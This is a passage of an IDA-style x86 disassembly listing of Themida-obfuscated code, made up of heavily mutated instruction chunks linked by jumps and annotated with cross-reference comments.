mov ebp, 4
add eax, ebp
pop ebp
xchg eax, [esp-24h+arg_1E+2]
mov esp, [esp-24h+arg_1E+2]
jmp loc_586FA4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58ADC4: ; CODE XREF: Themida_:0058BFA7j
shr si, 8
xor si, 6FBDh
shl si, 1
add si, 270Ah
add ax, si
pop esi
sub ax, cx
sub ax, 5FEh
add ax, 7E9Bh
mov cx, [esp]
push esi
mov esi, esp
add esi, 4
push edi
mov edi, 2
add esi, edi
pop edi
xchg esi, [esp]
pop esp
sub ax, bx
add ax, 22E1h
push 25D8h
mov [esp], ebp
mov bp, 2646h
push bx
mov bx, 3B8Ch
xor bp, bx
mov bx, [esp]
push esi
jmp loc_587233
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AE24: ; CODE XREF: sub_585452+7FCAj
push esi
push eax
mov eax, 7E71083h
sub [esp-1Ch+arg_1A+2], 7BF445A8h
add [esp-1Ch+arg_1A+2], eax
push edx
push ebp
jmp loc_588A5A
; ---------------------------------------------------------------------------
loc_58AE3E: ; CODE XREF: sub_585452+3661j
shr ch, 4
sub ch, 0E1h
push eax
mov ah, 44h
jmp loc_58A818
; ---------------------------------------------------------------------------
loc_58AE4C: ; CODE XREF: sub_585452-12EBj
mov ebp, [esp-8+arg_4]
add esp, 4
and [edi+1Ch], ecx
mov ecx, [esp-0Ch+arg_8]
push esi
mov esi, esp
jmp loc_58B38B
; ---------------------------------------------------------------------------
loc_58AE60: ; CODE XREF: sub_585452-8C3j
add ebx, 4
xchg ebx, [esp-14h+arg_E+2]
mov esp, [esp-14h+arg_E+2]
push ebx
mov ebx, 3C347482h
jmp loc_584BD0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_58AE74: ; CODE XREF: sub_5B5756-31911j
mov dh, ch
jmp loc_58BE67
; END OF FUNCTION CHUNK FOR sub_5B5756
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58AE7B: ; CODE XREF: sub_587574+1j
mov ebx, esp
add ebx, 4
jmp loc_589363
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5886E0
loc_58AE88: ; CODE XREF: sub_5886E0+15j
pop edi
xor edi, 0F405048h
add ebp, edi
pop edi
push esi
jmp loc_586858
; END OF FUNCTION CHUNK FOR sub_5886E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AE98: ; CODE XREF: sub_585452+4FF7j
xor [esp-2Ah+arg_28+2], edi
mov edi, [esp-2Ah+arg_24+2]
add esp, 4
mov eax, [esp-2Eh+arg_28+2]
push ebp
jmp loc_584C6D
; ---------------------------------------------------------------------------
loc_58AEAE: ; CODE XREF: sub_585452+84E3j
add eax, 145D98F3h
mov esi, eax
pop eax
shr esi, 7
not esi
dec esi
shl esi, 7
dec esi
xor esi, 0FC08B3A9h
sub ebx, esi
pop esi
add ebx, eax
add ebx, 16FC18D6h
jmp loc_58CB2F
; ---------------------------------------------------------------------------
loc_58AED6: ; CODE XREF: sub_585452+15Fj
mov ebp, 4
add esi, ebp
pop ebp
push ecx
mov ecx, 652956F1h
push edi
push esi
mov esi, 691670EDh
mov edi, 0C3F2618h
xor edi, esi
pop esi
xor ecx, edi
pop edi
add esi, 6EEE799Dh
add esi, ecx
jmp loc_5892E3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58AF03: ; CODE XREF: sub_58FA66-1E48j
pop esp
mov [esp-10h+arg_C], eax
mov eax, 529267B4h
push 0
sub [esp-0Ch+arg_8], eax
pop eax
and eax, 476E6FBCh
jmp loc_58FEC9
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58AF1F: ; CODE XREF: sub_58EFBD+ED5j
add eax, 49C06FBAh
push dword ptr [esp+0]
mov edi, [esp+4+var_4]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push [esp+0Ch+var_8]
mov ecx, [esp+10h+var_10]
add esp, 4
pop [esp+0Ch+var_C]
pop esp
push 18C1h
mov [esp+8+var_8], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
push 11F1h
mov [esp+8+var_8], edx
jmp loc_5868AB
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58AF72: ; CODE XREF: Themida_:0058B083j
xchg ebx, edi
pop ebx
xor edi, 90CBB9F9h
mov ebx, edi
pop edi
add dword ptr [esp+4], 6A9132BCh
jmp loc_5851B1
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_58680E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AF96: ; CODE XREF: sub_585452+63Fj
pop esp
sub cl, ah
pop ax
add cl, 0C8h
xor al, cl
pop ecx
sub esp, 4
mov [esp+44h+var_44], edi
jmp loc_58D170
; ---------------------------------------------------------------------------
loc_58AFAC: ; CODE XREF: sub_585452+5E3Dj
mov esp, [esp+44h+var_44]
jmp loc_5881D7
; ---------------------------------------------------------------------------
loc_58AFB4: ; CODE XREF: sub_585452+4AD8j
pop ebx
add ecx, 0FEBF8F03h
sub edi, ecx
jmp loc_58A359
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58AFC2: ; CODE XREF: Themida_:00586EDBj
push edx
push 5FDh
jmp loc_58C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58AFCD: ; CODE XREF: sub_58FA66-1488j
add ecx, esi
sub ecx, 352D783Ah
mov esi, [esp-10h+arg_C]
add esp, 4
add ecx, 4
xchg ecx, [esp+0]
jmp loc_586FCA
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58AFE9: ; CODE XREF: Themida_:0058AC29j
pop esi
mov edx, ecx
pop ecx
push ebx
jmp loc_585DB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AFF3: ; CODE XREF: sub_585452+314Bj
add edx, 0FFFFFFFFh
add edx, 0A7FED005h
jmp loc_58F92F
; ---------------------------------------------------------------------------
loc_58B004: ; CODE XREF: sub_585452+48Fj
pop edx
pop [esp+46h+var_48+2]
pop esp
push esp
pop [esp+42h+var_44+2]
push eax
push ebx
push edx
push 262F24D5h
jmp loc_585BEC
; ---------------------------------------------------------------------------
loc_58B01A: ; CODE XREF: sub_585452+201Cj
xchg esi, [esp+0]
mov esp, [esp+0]
jmp loc_58B031
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B025: ; CODE XREF: Themida_:00588973j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5887B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B031: ; CODE XREF: sub_585452+5BCEj
push dword ptr [esp+0]
push [esp+2+var_4+2]
pop eax
push 3F29h
mov [esp+6+var_8+2], edi
mov edi, esp
push esi
mov esi, 4
add edi, esi
pop esi
add edi, 4
xchg edi, [esp+6+var_8+2]
pop esp
push edx
push 22F5h
mov [esp+0Ah+var_C+2], esp
add [esp+0Ah+var_C+2], 4
mov edx, [esp+0Ah+var_C+2]
jmp loc_58E668
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B06A: ; CODE XREF: Themida_:0058F875j
mov edi, 1461052Bh
xor edi, 5D0C4F00h
xor edi, 327A5F5Fh
push ebx
mov ebx, 0
sub ebx, edi
jmp loc_58AF72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B088: ; CODE XREF: sub_585452+38DBj
xor esi, 42335F56h
sub eax, esi
pop esi
sub esp, 4
mov [esp+0], edi
push ecx
mov ecx, 708A3525h
jmp loc_58B7DD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B0A5: ; CODE XREF: Themida_:0058F077j
neg edi
sub edi, 4631C35Dh
add ebx, edi
pop edi
add ebp, ebx
pop ebx
sub ebx, ebp
jmp loc_586346
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B0BA: ; CODE XREF: sub_585452-10E6j
xor ebx, 342FEE64h
xor edx, ebx
jmp loc_58A0AD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B0C7: ; CODE XREF: Themida_:00584326j
mov [esp], ecx
mov ecx, esp
jmp loc_584AF0
; ---------------------------------------------------------------------------
loc_58B0D1: ; CODE XREF: Themida_:0058CCB6j
push dword ptr [esp]
pop edx
add esp, 4
push ecx
jmp loc_586785
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B0E1: ; CODE XREF: sub_585452+CEAj
sub eax, edx
mov edx, eax
jmp loc_58FE30
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58622C
loc_58B0EA: ; CODE XREF: sub_58622C+6802j
add ebx, 4
sub ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
mov [esp+0], edx
mov edx, 9CD0585h
xor edi, edx
pop edx
and eax, edi
pop edi
or eax, eax
jz loc_58653A
push 378Fh
mov [esp-4+arg_0], edx
push 1Ch
pop edx
push eax
mov eax, 0B9D2F77h
and eax, 79DC47DBh
push edx
mov edx, 7911F0Fh
xor eax, edx
pop edx
add edx, eax
pop eax
add edx, edi
sub esp, 4
mov [esp+0], eax
mov eax, 416C6BC9h
jmp loc_5854CC
; END OF FUNCTION CHUNK FOR sub_58622C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B147: ; CODE XREF: sub_585452+6BCBj
push 750Eh
mov [esp+26h+var_28+2], edx
jmp sub_58DEA3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_58B154: ; CODE XREF: sub_589C10-2021j
add eax, 55DA376Eh
add edx, eax
pop eax
add edx, ecx
push esi
mov esi, 461F2206h
or esi, 5B172DE9h
add esi, 360930A3h
inc esi
add esi, 203A54A4h
jmp loc_58FBA2
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
loc_58B17C: ; CODE XREF: Themida_:0058EE5Bj
pop edi
xor ebx, eax
sub edx, 49AD1FCBh
sub edx, 422D58B6h
sub edx, eax
add edx, 422D58B6h
push eax
push 55F0h
jmp loc_586B1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B19E: ; CODE XREF: sub_585452+366Aj
push edx
mov edx, 28h
sub esp, 4
mov [esp-0Ch+arg_8], eax
mov eax, 36A530A9h
add edx, eax
push [esp-0Ch+arg_8]
pop eax
add esp, 4
jmp loc_5860F0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B1C0: ; CODE XREF: Themida_:0058FEF7j
mov [esp], ebp
push esp
jmp loc_585F58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5886E0
loc_58B1C9: ; CODE XREF: sub_5886E0+11C6j
xchg ebx, [esp+10h+var_10]
pop esp
sub ebp, ecx
pop ecx
xor ebp, [esp+8+var_8]
xor [esp+8+var_8], ebp
xor ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], cx
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_5886E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B1E3: ; CODE XREF: sub_585452+5901j
add edx, 4
push edi
mov edi, 4
add edx, edi
pop edi
xchg edx, [esp+0Ch+var_C]
jmp loc_588432
; ---------------------------------------------------------------------------
loc_58B1FA: ; CODE XREF: sub_585452+1B2Aj
push esp
jmp loc_586CD7
; ---------------------------------------------------------------------------
loc_58B200: ; CODE XREF: sub_585452+7E64j
pop esi
sub esp, 4
jmp loc_587272
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B20C: ; CODE XREF: Themida_:0058BBDCj
mov ebp, 399C0704h
xor ebp, 766B6241h
shl ebp, 8
sub ebp, 0F76544FCh
mov edx, ebp
jmp loc_588964
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B227: ; CODE XREF: sub_585452+7B7Cj
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58B22C: ; CODE XREF: sub_58CCD7+6C5j
push 5CAF3F13h
pop ebx
sub ebx, 6EBE7C64h
sub ebx, 4A9F7AEDh
not ebx
xor ebx, 6C709CF5h
mov eax, ebx
pop ebx
xor ecx, eax
pop eax
add ebx, ecx
pop ecx
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
or edx, eax
jmp loc_58B31D
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58B260: ; CODE XREF: sub_58EFBD+12j
push esp
jmp loc_58CE7C
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58B266: ; CODE XREF: sub_58F728-1D35j
and ebp, 1B775AC2h
or ebp, 6F91F34h
xor ebp, 17FD1FF0h
jmp loc_58D4D5
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B27D: ; CODE XREF: sub_585452+E91j
add ebp, 4
add ebp, 4
push ebp
jmp loc_58ACCC
; ---------------------------------------------------------------------------
loc_58B28C: ; CODE XREF: sub_585452+172Cj
pop dword ptr [esp+0]
jmp loc_58AFAC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_58B294: ; CODE XREF: sub_589C10-3C2Fj
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
mov [esp+0], esi
mov esi, 4
add edx, esi
pop esi
push ecx
mov ecx, 4
push eax
mov eax, 412665E0h
add eax, 1
jmp loc_587BEA
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58B2C7: ; CODE XREF: sub_58AB18+2EADj
sub edx, 4
xchg edx, [esp-10h+arg_C]
pop esp
mov [esp-14h+arg_10], eax
jmp sub_58D97C
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E234
loc_58B2D6: ; CODE XREF: sub_58E234+18j
pop esp
jmp loc_58CFD3
; END OF FUNCTION CHUNK FOR sub_58E234
; ---------------------------------------------------------------------------
loc_58B2DC: ; CODE XREF: Themida_:00588965j
add ebx, edx
pop edx
xchg ebx, [esp]
mov esp, [esp]
or [esp], eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B2EE: ; CODE XREF: sub_585452+378Dj
add esi, edx
pop edx
add esi, 4
xchg esi, [esp+0]
mov esp, [esp+0]
jmp loc_58D32B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B302: ; CODE XREF: Themida_:00589121j
mov esp, [esp]
mov cx, [esp]
push 19D9h
mov [esp], ecx
push esp
push dword ptr [esp]
mov ecx, [esp]
jmp loc_58CE2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58B31D: ; CODE XREF: sub_58CCD7-1A7Cj
shl edx, 1
push 1880h
mov [esp+0], ebx
mov ebx, 1
push ecx
jmp loc_58E346
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5878BB
loc_58B332: ; CODE XREF: sub_5878BB+1Cj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
add [esp+arg_0], 4F7A67E2h
sub [esp+arg_0], ecx
sub [esp+arg_0], 4F7A67E2h
pop ecx
jmp loc_58BCA4
; END OF FUNCTION CHUNK FOR sub_5878BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A4F5
loc_58B35E: ; CODE XREF: sub_58A4F5-2E0Aj
mov cl, bh
pop ebx
shr cl, 8
add cl, 7Dh
push ebx
mov bh, 0F1h
sub bh, 4Bh
and cl, bh
jmp loc_588493
; END OF FUNCTION CHUNK FOR sub_58A4F5
; ---------------------------------------------------------------------------
push 5AC3h
mov [esp], edx
jmp loc_588A6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C31F
loc_58B381: ; CODE XREF: sub_58C31F+7j
and eax, 0E123732h
jmp loc_58C8DB
; END OF FUNCTION CHUNK FOR sub_58C31F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B38B: ; CODE XREF: sub_585452+5A09j
add esi, 4
add esi, 4
xchg esi, [esp-8+arg_4]
pop esp
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58B39D: ; CODE XREF: sub_585452+D1Bj
sub ch, bl
jmp loc_585323
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58B3A4: ; CODE XREF: sub_58F728-224Dj
pop esp
push 77CBh
jmp loc_586256
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B3AF: ; CODE XREF: sub_585452-69Dj
mov eax, [esp-1Eh+arg_1A]
add esp, 4
xchg esi, [esp-22h+arg_1E]
mov esp, [esp-22h+arg_1E]
ror [esp-22h+arg_1E], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58B3C4: ; CODE XREF: sub_585452+3ADDj
shr ecx, 3
jmp loc_58B852
; ---------------------------------------------------------------------------
loc_58B3CC: ; CODE XREF: sub_585452+7DA1j
btc word ptr [esp-1Ah+arg_16], ax
pushf
jmp loc_58DA3A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B3D7: ; CODE XREF: Themida_:00587FA4j
push edi
mov edi, 255562h
push edx
jmp loc_58C72B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B3E3: ; CODE XREF: sub_585452+A4C1j
push edi
mov edi, esp
jmp loc_588E1E
; ---------------------------------------------------------------------------
loc_58B3EB: ; CODE XREF: sub_585452+661j
pop esi
add esi, 62DE0A87h
jmp loc_5858F1
; ---------------------------------------------------------------------------
loc_58B3F7: ; CODE XREF: sub_585452+801j
xchg ebp, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
jmp loc_58BC76
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_58B402: ; CODE XREF: sub_58DA2E-7225j
pop ebx
push ebx
jmp loc_58BC9B
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
loc_58B409: ; CODE XREF: Themida_:005886DBj
push 5394h
mov [esp], ebx
mov bh, 26h
jmp loc_58CBC0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B418: ; CODE XREF: sub_585452+771Aj
push edi
push 725Eh
mov [esp+4+var_4], ebx
add [esp+4+var_4], 322F4CF4h
mov edi, [esp+4+var_4]
add esp, 4
push ecx
mov ecx, 4F6A1517h
xor ecx, 7D4559E3h
jmp loc_589F42
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B43F: ; CODE XREF: Themida_:0058EB18j
add edx, 4
xchg edx, [esp]
pop esp
add al, 84h
push edx
jmp loc_583D7A
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_58A0DA
; ---------------------------------------------------------------------------
mov eax, [esp]
push esi
jmp loc_58B760
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B465: ; CODE XREF: sub_585452+3BC6j
sub eax, 1EC20E30h
pop edi
jmp loc_58C3C0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B470: ; CODE XREF: Themida_:005843B2j
mov [esp], ebp
push eax
push 11C52B2Fh
mov eax, [esp]
add esp, 4
or eax, 4BDD675Bh
shl eax, 5
jmp loc_584669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B48F: ; CODE XREF: sub_585452-12A6j
add ah, 0E2h
sub ah, 0E4h
add bl, ah
mov eax, [esp-8+arg_4]
push eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
add eax, 4
xchg eax, [esp-4+arg_0]
pop esp
sub bl, 0A6h
add bl, al
sub esp, 4
jmp loc_58B76F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58832B
loc_58B4BD: ; CODE XREF: sub_58832B+Fj
pop ebx
xchg ecx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
btc word ptr [esp-4+arg_0], ax
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58832B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B4CF: ; CODE XREF: sub_585452-54Bj
add al, 79h
sub al, dh
sub al, 79h
sub al, 0EEh
pop edx
jmp loc_5863E3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B4DD: ; CODE XREF: Themida_:0058700Bj
push 1242h
mov [esp], edi
push edx
mov edx, 33CB06DDh
mov edi, edx
pop edx
and ecx, edi
pop edi
sub ecx, 6974507Bh
jmp loc_584982
; ---------------------------------------------------------------------------
loc_58B4FC: ; CODE XREF: Themida_:0058DAB8j
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edi
sub esp, 4
mov [esp], ebx
push 55AF768Ah
pop ebx
shr ebx, 5
sub ebx, 2AD7BB2h
mov edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_584807
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E761
loc_58B536: ; CODE XREF: sub_58E761-692Aj
mov [esp+0], esi
jmp loc_586748
; END OF FUNCTION CHUNK FOR sub_58E761
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B53E: ; CODE XREF: sub_585452+9DFDj
push edx
mov dl, 0A8h
inc dl
xor dl, 0A0h
and bl, dl
pop edx
push eax
mov ah, 0FEh
jmp loc_58DD86
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_58896A
; ---------------------------------------------------------------------------
loc_58B568: ; CODE XREF: Themida_:005879EEj
mov eax, 4
add [esp+4], eax
pop eax
pop ecx
sub esp, 4
mov [esp], eax
mov eax, 4
add ecx, eax
pop eax
jmp loc_5873DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_58B589: ; CODE XREF: sub_58DA2E-5BDDj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
jmp loc_589F74
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B59D: ; CODE XREF: sub_585452-2AFj
push cx
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58B5A5: ; CODE XREF: sub_58C230+14j
pop ebp
pop [esp-0Ch+arg_8]
push esi
mov esi, 4
jmp loc_58ED45
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B5B4: ; CODE XREF: sub_585452+7BC2j
neg ebx
sub ebx, 137A62FDh
xor ebx, 3385493Ah
add ebx, 0F7B45696h
add eax, ebx
jmp loc_5870A9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B5CF: ; CODE XREF: Themida_:00583E70j
mov [esp], ebx
mov ebx, 29CA4F9Fh
xor ebx, 271A0D4Bh
add ebx, 47D57197h
not ebx
dec ebx
inc ebx
push edi
mov edi, 36BF47EFh
not edi
not edi
xor edi, 601AF381h
add ebx, edi
pop edi
mov esi, ebx
pop ebx
sub edx, 11465CEDh
jmp loc_584F5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B608: ; CODE XREF: sub_585452+13EBj
mov esp, [esp+46h+var_48+2]
mov [esp+46h+var_48+2], eax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58B622: ; CODE XREF: sub_58F728-9258j
pop edx
jmp loc_587101
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B628: ; CODE XREF: sub_585452+32C1j
sub ebx, 2D268C8h
mov eax, [esp-8+arg_4]
add esp, 4
push esi
mov esi, 76875F14h
push edx
mov edx, 2B77741h
and edx, 3FB178F7h
sub edx, 8C2A1131h
sub esi, edx
pop edx
add ebx, esi
pop esi
xchg ebx, [esp-0Ch+arg_8]
jmp loc_585F80
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58B65A: ; CODE XREF: sub_58FA66-7A9Dj
pop ecx
sub esp, 4
mov [esp+0], esi
jmp loc_58C5B1
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D7D9
loc_58B666: ; CODE XREF: sub_58D7D9+8j
add ebp, 4
push 0Bh
mov [esp+8+var_8], esi
push ecx
jmp loc_589CE1
; END OF FUNCTION CHUNK FOR sub_58D7D9
; ---------------------------------------------------------------------------
loc_58B67A: ; CODE XREF: Themida_:0058B8BBj
mov [esp], ebx
push 22A9h
jmp loc_584A81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B687: ; CODE XREF: sub_585452+72EAj
mov ebx, 7F7E36B7h
xor edx, ebx
pop ebx
jmp loc_585BA8
; ---------------------------------------------------------------------------
loc_58B694: ; CODE XREF: sub_585452+86C6j
push 54326A9Dh
pop esi
sub esi, 52151001h
mov eax, esi
pop esi
jmp loc_58AD22
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58B6A8: ; CODE XREF: Themida_:0058FADFj
pop eax
inc dh
xor dh, 0D1h
jmp loc_583D12
; ---------------------------------------------------------------------------
loc_58B6B3: ; CODE XREF: Themida_:00588AD0j
sub edi, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_583C74
; ---------------------------------------------------------------------------
loc_58B6C6: ; CODE XREF: Themida_:0058BD14j
mov ebx, 4
add esi, ebx
jmp loc_58E107
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_589E8B
; ---------------------------------------------------------------------------
loc_58B6DA: ; CODE XREF: Themida_:0058A094j
xchg ebp, ecx
jmp loc_585EC6
; ---------------------------------------------------------------------------
loc_58B6E1: ; CODE XREF: Themida_:005880C3j
push 4C97h
mov [esp], edx
push 5B25h
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
jmp loc_58DF65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587E93
loc_58B701: ; CODE XREF: sub_587E93+3j
add bl, 92h
jmp loc_5853B3
; END OF FUNCTION CHUNK FOR sub_587E93
; ---------------------------------------------------------------------------
loc_58B709: ; CODE XREF: Themida_:0058CA7Cj
mov [esp], ebp
push edi
mov edi, 76A68EBh
neg edi
jmp loc_58EEAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58B719: ; CODE XREF: sub_585452+760Cj
add al, 78h
sub al, bh
push ebx
mov bl, 0C4h
and bl, 0C7h
sub bl, 62h
dec bl
sub bl, 68h
jmp loc_58F45D
; ---------------------------------------------------------------------------
loc_58B730: ; CODE XREF: sub_585452+7BD4j
pop ebp
push ebx
push esi
mov esi, 3CB73CE8h
sub esi, 44CB6590h
add esi, 375357F7h
shr esi, 2
add esi, 78AD0122h
sub esi, 52F16DA6h
jmp loc_58D71E
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58B758 proc near ; CODE XREF: sub_585452-130Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00586516 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00586E6F SIZE 00000011 BYTES
